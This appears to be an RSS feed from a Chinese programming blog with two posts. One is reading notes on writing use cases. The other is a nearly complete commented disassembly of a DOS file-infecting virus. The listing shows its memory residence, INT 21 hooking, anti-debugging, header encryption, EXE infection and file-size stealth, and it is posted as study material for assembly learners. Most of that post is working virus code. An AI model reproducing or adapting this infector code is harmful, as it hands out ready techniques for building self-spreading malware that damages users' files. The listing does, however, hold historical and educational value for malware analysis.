<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>陈糠烂谷</title><link>http://blog.vckbase.com/abbey/category/64.html</link><description>以前写的一些东西</description><managingEditor>Abbey的小匣子</managingEditor><dc:language>zh-CN</dc:language><generator>.Text Version 0.958.2004.214</generator><item><dc:creator>Abbey的小匣子</dc:creator><title>《编写有效用例》节录</title><link>http://blog.vckbase.com/abbey/articles/24988.html</link><pubDate>Wed, 21 Mar 2007 14:49:00 GMT</pubDate><guid>http://blog.vckbase.com/abbey/articles/24988.html</guid><wfw:comment>http://blog.vckbase.com/abbey/comments/24988.html</wfw:comment><comments>http://blog.vckbase.com/abbey/articles/24988.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://blog.vckbase.com/abbey/comments/commentRss/24988.html</wfw:commentRss><trackback:ping>http://blog.vckbase.com/abbey/services/trackbacks/24988.html</trackback:ping><description>&lt;FONT face="Courier New" size=2&gt;
&lt;HR id=null&gt;
Writting Effective Use Cases（编写有效用例）&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Alistair Cockburn著
&lt;UL&gt;
&lt;LI&gt;用例多采用文本形式，这亦为首选形式；&lt;/LI&gt;
&lt;LI&gt;用例涉及的内容包括：执行者、项目相关人员、范围、前置条件与保证、主成功场景、扩展；&lt;/LI&gt;
&lt;LI&gt;用例写得充分是首要的，而非漂亮、完美；&lt;/LI&gt;
&lt;LI&gt;用例不是所有的需求，它仅是需求的一部分，它不描述详细的接口、格式、业务规则和复杂公式；&lt;/LI&gt;
&lt;LI&gt;用例的作用：描述系统目标、描述异常处理；&lt;/LI&gt;
&lt;LI&gt;系统使用叙述（Usage Narrative）：一个处于运行状态下的用例实例，是极为具体的使用系统的例子。在系统使用叙述中，虚构一个执行者个体，然后用描述去捕捉其心理状态&amp;#8212;&amp;#8212;为何他要这样做、或什么驱使他那样去做。叙述锁定了用例，用例是&amp;#8220;没有水分&amp;#8221;的叙述，用例中执行者的名称是通用的。&lt;/LI&gt;
&lt;LI&gt;要编写好的用例，最困难的是控制&amp;#8220;啮食跳蚤的跳蚤&amp;#8221;；&lt;/LI&gt;
&lt;LI&gt;对每一个用例都从头至尾单独地进行描述，这是一个非常糟糕的编写策略；&lt;/LI&gt;
&lt;LI&gt;要认真完成一个用例，有必要列出所有的项目相关人员，然后根据用例中的操作命名他们的利益，声明如果用例成功完成，将对每一个项目相关人员意味着什么以及靠什么来保证他们所希望得到的利益；&lt;/LI&gt;
&lt;LI&gt;范围：描述项目开发人员负责的设计工作的边界。功能范围是系统要提供的服务，它最终应被用例所捕获。设计的目标在于完成目前的系统无法替代的功能；&lt;/LI&gt;
&lt;LI&gt;加强对系统范围内的&amp;#8220;沉默执行者&amp;#8221;的注意可以大大提高用例的质量。将业务规则编制成文档，是因为系统必须代表项目相关人员来执行这些规则；&lt;/LI&gt;
&lt;LI&gt;主执行者：利益者、代理者、动作者、要求者，甚至可能是时间；&lt;/LI&gt;
&lt;LI&gt;辅助执行者：为SuD提供服务的外部执行者。识别辅助执行者的目的是为了识别系统将要使用的外部接口及接口间协议；&lt;/LI&gt;
&lt;LI&gt;有时，我们会希望以用例的形式来描述系统内部间是如何协助以完成一个行为的。但将白盒用例作为SuD的行为需求来编写是一种错误的做法；&lt;/LI&gt;
&lt;LI&gt;为提升若干个交互步骤的目标层次，思考这样一个问题&amp;#8220;执行者为什么做这件事？&amp;#8221;；&lt;/LI&gt;
&lt;LI&gt;几乎所有多于11步的用例都可以被裁短而不影响其表达；&lt;/LI&gt;
&lt;LI&gt;用例的前置条件：声明了启动该用例之前系统必须满足的条件。该条件由系统负责实施并确保为真，在用例执行过程中不必再对该条件进行检测；&lt;/LI&gt;
&lt;LI&gt;通常，前置条件是指该条件已经通过其他用例的执行进行了设置；&lt;/LI&gt;
&lt;LI&gt;将前置条件作为用例被打开时现实世界所处状态的一个简单断言来编写。在编写前置条件时通常易犯的一个错误是：把经常是正确的但不是必须的条件写入前置条件；&lt;/LI&gt;
&lt;LI&gt;最小保证：系统向项目枝头人员的最低承诺。最常见的最小保证是&amp;#8220;系统将其执行进度情况记入日志&amp;#8221;；&lt;/LI&gt;
&lt;LI&gt;最小保证与成一些简单的断言形式：无论用例如何被执行，这些断言最终都应为真；&lt;/LI&gt;
&lt;LI&gt;成功保证通常是作为最小保证的添加内容：最小保证被满足以后，附加的一些条件亦为真。而在附加条件中至少包括用例标题中声明的目标；&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;
&lt;HR id=null&gt;
&lt;/P&gt;
&lt;P&gt;一些准则：&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;使用简单的语法：主&amp;#8212;谓&amp;#8212;宾&amp;#8212;补&lt;/LI&gt;
&lt;LI&gt;准确地写出&amp;#8220;谁控制球&amp;#8221;&lt;/LI&gt;
&lt;LI&gt;从俯视的角度来编写用例&lt;/LI&gt;
&lt;LI&gt;显示过程向前推移：反复提出&amp;#8220;执行者为何这样做&amp;#8221;而将目标层次提高&lt;/LI&gt;
&lt;LI&gt;显示执行者的意图而非动作。当一些连续步骤的数据都在同一方向上运动时，可将其合并为一个步骤&lt;/LI&gt;
&lt;LI&gt;&amp;#8220;确认&amp;#8221;而不是&amp;#8220;检查是否&amp;#8221;：我们使用&amp;#8220;问为什么&amp;#8221;技术来找到一个更好的短语。为什么系统要检查条件？答案：是为了确认、验证或确保某些事情&lt;/LI&gt;
&lt;LI&gt;用&amp;#8220;检测到什么&amp;#8221;的方式来编写扩展条件：应该写出系统检测什么，而不仅仅写出发生了什么。扩展条件通常是一个描述系统检测到了什么的短语&lt;/LI&gt;
&lt;LI&gt;清除那些系统不需要处理的条件，合并对系统而言等价的条件，请使用如下两个标准：(1)系统能够检测到条件；(2)系统必须完成条件的检测&lt;/LI&gt;
&lt;LI&gt;有时需要表达&amp;#8220;有多种方式来完成相同的目标&amp;#8221;。系统要完成的目标是相同的，但怎么做可能不同。这些技术和数据的变化对用例而言却不是扩展，它不包含步骤，这些变化可以在一个列表中写出&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;
&lt;HR id=null&gt;
&lt;/FONT&gt;&lt;/P&gt;&lt;img src ="http://blog.vckbase.com/abbey/aggbug/24988.html" width = "1" height = "1" /&gt;</description></item><item><dc:creator>Abbey的网络日志</dc:creator><title>DOS病毒“At the grave of grandma”的反汇编解析</title><link>http://blog.vckbase.com/abbey/articles/275.html</link><pubDate>Mon, 24 May 2004 21:32:00 GMT</pubDate><guid>http://blog.vckbase.com/abbey/articles/275.html</guid><wfw:comment>http://blog.vckbase.com/abbey/comments/275.html</wfw:comment><comments>http://blog.vckbase.com/abbey/articles/275.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://blog.vckbase.com/abbey/comments/commentRss/275.html</wfw:commentRss><trackback:ping>http://blog.vckbase.com/abbey/services/trackbacks/275.html</trackback:ping><description>&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;这是当年（大概是1995年）我在学习汇编过程中，在学校机房遇到的一个病毒。由于病毒体内有一个串&amp;#8220;At the grave of grandma&amp;#8221;，所以就用这个给它命名了。我熬了个通宵用Turbo Debug完成了反汇编。之后又用Turbo Pascal写了个杀毒程序交给机房的老师，很是得意了一阵。分析过的病毒中有一个8738病毒（病毒体大小8738字节），可以感染Windows 3.11的程序，它使用了保护模式的编程，是最令我头疼的一个。真怀念在学校里的日子。&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;最近看到不少人在学习汇编，于是想起把这个病毒的反汇编码放上来，供他们研究。这样的DOS病毒在目前情况下已经没什么作用了，希望大家不要用于非法目的。我用了一个中午录入的，不要枉费我一片心意。因为用惯了C++，所以采用了C++的注释风格，呵呵。&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;&lt;STRONG&gt;重要提示：&lt;/STRONG&gt;看不懂的别问我，太久了我已经把DOS内核忘得差不多了。&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;技术前提：熟悉DOS内核，深刻理解汇编指令，熟悉TSR程序原理&lt;/FONT&gt;&lt;/P&gt;&lt;FONT face="Courier New" size=2&gt;
&lt;HR&gt;
&lt;/FONT&gt;&lt;PRE&gt;&lt;FONT size=2&gt;////////////////////////////////////////
//病毒特征
长度 047E
Stack 自带
////////////////////////////////////////
//病毒数据段说明
047F~04E4 读取用的缓冲区
04E5~050F DTA
0534  出错计数
00A7  保存原INT 21
0525  文件名串指针
0403~040D 原文件头
0529  文件原时间
////////////////////////////////////////
//代码
000C:
 JMP 0369
0396:
 NOP
 NOP
036B:
 MOV SI, 000C //病毒首址
 MOV DI, SI
 CALL 03F9 //恢复原数据
 PUSH SI
 MOV AH, 30
 ADD AH, 48
 MOV AL, F8
 XCHG AH, AL
 INT 21  //判断驻留
 OR AX, AX
 JZ 03D4
 MOV DI, 7777 //反跟踪
0386:
 NOP
 DEC DI
 NOP
 NOP
 JNZ 0386 //至此为反跟踪代码，累死你
 PUSH DS
 MOV BX, ES
 DEC BX
 MOV DS, BX
 MOV BX, 0002
 CMP BYTE PTR [BX-02], 5A
 JNZ 03D1 //MCB末块
 MOV CX, 0056
 SUB [BX+01], CX //MCB中大小域
 SUB [BX+10], CX //PSP中本进程最高段址
 MOV ES, [BX+10] //病毒驻留起始段
 XOR AX, AX
 MOV DS, AX
 LDS AX, [BX+0082] //取原INT 21向量
 MOV CS:[SI+00A7], AX //保存原INT 21
 MOV CS:[SI+00A9], DS
 PUSH CS
 POP DS
 XOR DI, DI
 MOV CX, 0535
 CLD
 REP MOVSB //将病毒体移至驻留段
 MOV DS, CX
 CLI
 MOV [BX+0084], ES //设置新INT 21
 MOV WORD PTR [BX+0084], 0058
 STI
03D1:
 POP ES
 PUSH ES
 POP DS
03D4:
 NOP
 POP SI //弹出返回地址，抛弃之
 NOP
 MOV BX, ES
 ADD BX, 0010
 ADD CS:[SI+040B], BX //计算原CS
 ADD CS:[SI+0403], BX //计算原SS
 MOV SS, CS:[SI+0403] //恢复原SS:SP
 MOV SP, CS:[SI+0405]
 XOR AX, AX
 XOR BX, BX
 JMP FAR CS:[SI+0409] //执行原程序
03F9:
 PUSH AX  //将原文件头加密或者解密
 ADD DI, 0403
 MOV CX, 000A
 MOV AX, 7776 //7776是密钥
 NOP
0405:
 XOR CS:[DI], AX
 INC DI
 NOP
 LOOP 0405
 POP AX
040D:
 RET
040E:
 NOP
//病毒的INT 21
0064:
 MOV CS:BYTE PTR [0533], 00
 PUSHF
 CMP AX, F078 //病毒驻留标志
 NOP
 JNE 0077
 XOR AX, AX
 POPF
 IRET
 NOP
 NOP
0077:
 NOP
 CMP AH, 11 //FCB首次查找功能
 JE 002A
 CMP AH, 12 //FCB后续查找功能
 JE 002A
 CMP AH, 3D //文件打开功能
 JE 00C9
 CMP AH, 43 //设置/获取文件属性功能
 JE 00C9
 CMP AH, 13 //FCB删除功能
 JE 00C3
 CMP AH, 36 //获取磁盘剩余空间功能
 JE 00C3
 CMP AH, 4B //执行子进程功能
 NOP
 NOP
 JE 00C9
 CMP AH, 6C
 JE 00C9
 CMP AH, 1A //获取DTA
 JNE 00B1
 MOV CS:[052F], DX //保存DTA地址
 MOV CS:[0531], DS
00B1:
 POPF
00B2:
 JMP 0110:109E //即00A7处
 NOP
 NOP
00B9:
 XCHG AL, AH //调用原INT 21
 NOP
 PUSHF
 CALL CS:FAR [00A7]
 RET
00C3:
 MOV CS:BYTE PTR [047E], 01
00C9:
 NOP
 PUSH AX
 PUSH BX
 PUSH CX
 PUSH DX
 PUSH DS
 PUSH ES
 PUSH SI
 PUSH DI
 CMP AH, 6C
 JNE 00D9
 MOV DX, SI
00D9:
 CMP CS:BYTE PTR [047E], 01
 JE 00E7
 CALL 015D
 JMP 0142
 NOP
00E7:
 PUSH CS
 POP DS
 MOV BYTE PTR [0534], 00
 MOV AL, 2F
 CALL 00B9
 PUSH ES
 PUSH BX
 MOV AL, 1A
 MOV DX, 04E5
 CALL 00B9
 MOV AL, 4E
 MOV CX, 0027
 MOV DX, 0427 //文件名首串
0105:
 CALL 00B9
 JB 013A
 MOV AL, [04FB] //DTA中的文件时间
 AND AL, 1D
 CMP AL, 1D //已感染
 JE 0136
 CMP WORD PTR [0501], 0000 //文件＜64KB
 JNE 0122
 CMP WORD PTR [04FF], 03E8 //文件＞03E8
 JB 0136
0122:
 MOV WORD PTR [0525], 0503 //被感染文件名指针
 MOV DX, 0503 //文件名及扩展名首
 CALL 015D //进行感染
 CMP CS:BYTE PTR [0534], 03
 JE 013A
0136:
 MOV AL, 4F
 JMP 0105
013A:
 POP DX
 POP DS
 PUSHF
 MOV AH, 1A
 INT 21
 POPF
 POP DI
 POP SI
 POP ES
 POP DS
 POP DX
 POP CX
 POP BX
 POP AX
 MOV CS:BYTE PTR [047E], 00
 CMP CS:BYTE PTR [0533], 01
 JNE 015A
 XOR BX, BX
015A:
 JMP 00B1
015D:
 MOV SI, DX
 MOV ES:[0525], DX
 NOP
0165:
 LODSB
 OR AL, AL //00
 JE 0179
 CMP AL, 5C //&amp;#8220;\&amp;#8221;
 JE 0172
 CMP AL, 3A //&amp;#8220;:&amp;#8221;
 JNE 0165
0172:
 MOV CS:[0525], SI //存入文件名
 JMP 0165
0179:
 CMP AH, 4B
 NOP
 JE 018E
 CMP WORD PTR [SI-05],452E //&amp;#8220;.E&amp;#8221;
 JNE 018D
 CMP WORD PTR [SI-03],4558 //&amp;#8220;XE&amp;#8221;
 JE 018E
018D:
 RET
018E:
 PUSH CS
 POP ES
 MOV SI, CS:[0525] //迷惑
 MOV DI, 040E
 LODSW
 MOV CX, 0007
 REPNZ SCASW
 JE 01B7  //迷惑至此
 MOV SI, CS:[0525]
01A1:
 LODSB
 CMP AL, 00
 JE 01B4
 CMP AL, 56
 JE 01B7
 CMP AL, 53
 JE 01B7
 JMP 01A5
01B4:
 CALL 01B8
01B7:
 RET
01B8:
 MOV BX, DS
 XOR AX, AX
 MOV DX, AX
 PUSH WORD PTR [0090] //保存INT 24
 PUSH WORD PTR [0092]
 MOV WORD PTR [0092], 042B
 MOV [0092], CS
 MOV DS, BX
 MOV AX, 0043
 CALL 00B9
 PUSH DS
 PUSH DX
 PUSH CX
 XOR CX, CX
 MOV AX, 0143
 CALL 00B9
 JNB 01ED //执行成功
 INC CS:BYTE PTR [0534]
 JMP 0251
 NOP
01ED:
 MOV AX, 023D
 CALL 00B9
 JNB 01FE //执行未发生错误
 INC CS:BYTE PTR [0534]  
 JMP 0251
 NOP
 NOP
01FE:
 XCHG BX, AX
 MOV AX, 0057
 CALL 00B9
 MOV CS:[0529], CX //保存时间
 PUSH DX
 NOP
 PUSH CS
 POP DS
 PUSH ES
 POP ES
 MOV AL, 3F
 MOV DX, 047F
 MOV CX, 0066
 CALL 00B9
 MOV AX, [047F] //取文件头两字节
 NOP
 CMP AX, 4D5A //是.EXE
 NOP
 JE 022E
 CMP AX, 5A4D
 NOP
 JE 022E
 JMP 0241
 NOP
022E:
 MOV AL, [0493] //取IP0
 XOR AL, 78
 CMP [0491], AL //与校验的高位比较
 JE 0241  //文件内的感染标志由IP与78进行XOR而得
 JMP 0269
023C:
 NOP
 OR WORD PTR [0529], 001D //置感染标志
0241:
 POP DX
 MOV CX, [0529]
 MOV AX, 0157
 CALL 00B9
 MOV AL, 3E
 CALL 00B9
0251:
 MOV AX, 0143
 POP CX
 POP DX
 POP DS
 CALL 00B9
 XOR AX, AX
 MOV DS, AX
 POP WORD PTR [0092] //恢复INT 24
 POP WORD PTR [0090]
 PUSH CS
 POP DS
 RET
0269:
 MOV SI, 047F
 NOP
 MOV WORD PTR [0527], 0000 //将读缓冲清零
 MOV DX, [SI+3C] //移动到Windows的EXE文件头
 MOV CX, [SI+3E]
 MOV AX, 4200
 INT 21
 MOV CX, 0002
 MOV DX, 0527
 MOV AH, 3F
 INT 21
 CMP WORD PTR [0527], 454E //&amp;#8220;NE&amp;#8221;
 JNE 0292 //不是Windows的EXE
 JMP 0241
0292:
 MOV AL, 02 //定位到文件尾
 CALL 0360
 CMP DX, 0006 //文件大小高位＞6
 JA 0241
 OR DX, DX //文件＞64K
 JNE 02A7
 CMP AX, 0100 //文件大小低位＞100
 JA 02A7
02A5:
 JMP 0241
02A7:
 PUSH DX
 PUSH AX
 MOV AX, [SI+04] //总扇区数
 MOV DI, [SI+02] //剩余字节数
 OR DI, DI
 JE 02B4
 DEC AX
02B4:
 MOV CX, 0200
 MUL CX
 ADD AX, DI
 ADC DX, 0000
 POP DI
 CMP DI, AX
 POP DI
 JNE 02A5 //是否真的是.EXE
 CMP DI, DX
 JNE 02A5
 PUSH AX
 PUSH DX
 PUSH SI
 MOV SI, 048D //保存原SS0，SP0，IP0，CS0，校验
 MOV DI, 0403
 MOV CX, 000A
 REP MOVSB
 POP SI
 XOR DI, DI
 CALL 03F9 //加密文件头
 MOV CX, 0010
 DIV CX  //求文件节数
 SUB AX, [SI+08] //减去文件头节数
 MOV [SI+16], AX //修改文件头中的CS0
 MOV [0360], DX //修改病毒首址
 MOV [SI+14], DX //修改文件头中的IP0
 ADD DX, 047E
 MOV [SI+10], DX //修改SP0
 MOV [SI+0E], AX //修改SS0
 POP DX
 POP AX
 ADD AX, 047E
 ADC DX, 0000
 MOV CX, 0200
 DIV CX  //计算修改后页数和字节数
 OR DX, DX
 JE 030A
 INC AX
030A:
 MOV [SI+04], AX //修改文件长度，以加上病毒
 MOV [SI+02], DX
 MOV AL, [SI+14]
 XOR AL, 78
 MOV [SI+12], AL //修改校验
 XOR DX, DX //写入病毒体
 MOV CX, 047E
 MOV AH, 40
 INT 21
 MOV BYTE PTR [0534], 03
 MOV AL, 00 //移到文件头
 CALL 0360
 MOV DX, 047F //写入修改后的文件头
 MOV CX, 0018
 MOV AH, 40
 INT 21
 CMP CL, 0E
 JNE 035D
 MOV SI, 041E //显示字符串
 MOV AX, B800
 MOV DX, AX
 XOR DI, DI
 MOV CX, 0009
034B:
 MOV AL, CS:[SI]
 INC SI
 MOV [DI], AL
 INC DI
 MOV BYTE PTR [DI], 8F //加亮闪烁 黑底白字
 INC DI
 LOOP 034B
035B:
 MOV CX, 7777 //延时
 LOOP 035B
035D:
 JMP 023C
0360:
 XOR CX, CX
 XOR DX, DX
 MOV AH, 42
 INT 21
0368:
 RET
002A:
 CALL FAR CS:[00A7] //执行原功能
 PUSHF
 CMP AL, FF //是否出错
 JE 0060
 NOP
 PUSH AX
 PUSH SI
 PUSH DS
 MOV SI, CS:[052F] //取FCB首址
 MOV DS, CS:[0531]
 CMP BYTE PTR [SI], FF //是扩展FCB
 JNE 004A
 ADD SI, 0007
004A:
 MOV AL, [SI+17] //取文件时间的低8位
 AND AL, 1D
 CMP AL, 1D
 JNE 005D
 NOP
 SUB WORD PTR [SI+1D], 047E //隐蔽文件长度
 SBB WORD PTR [SI+1F], 0000
005D:
 POP DS
 POP SI
 POP AX
0060:
 POPF
0061:
 RETF 0002
0437:
 XOR AL, AL
0439:
 IRET&lt;/FONT&gt;&lt;/PRE&gt;&lt;FONT face="Courier New" size=2&gt;
&lt;HR&gt;
&lt;/FONT&gt;&lt;img src ="http://blog.vckbase.com/abbey/aggbug/275.html" width = "1" height = "1" /&gt;</description></item></channel></rss>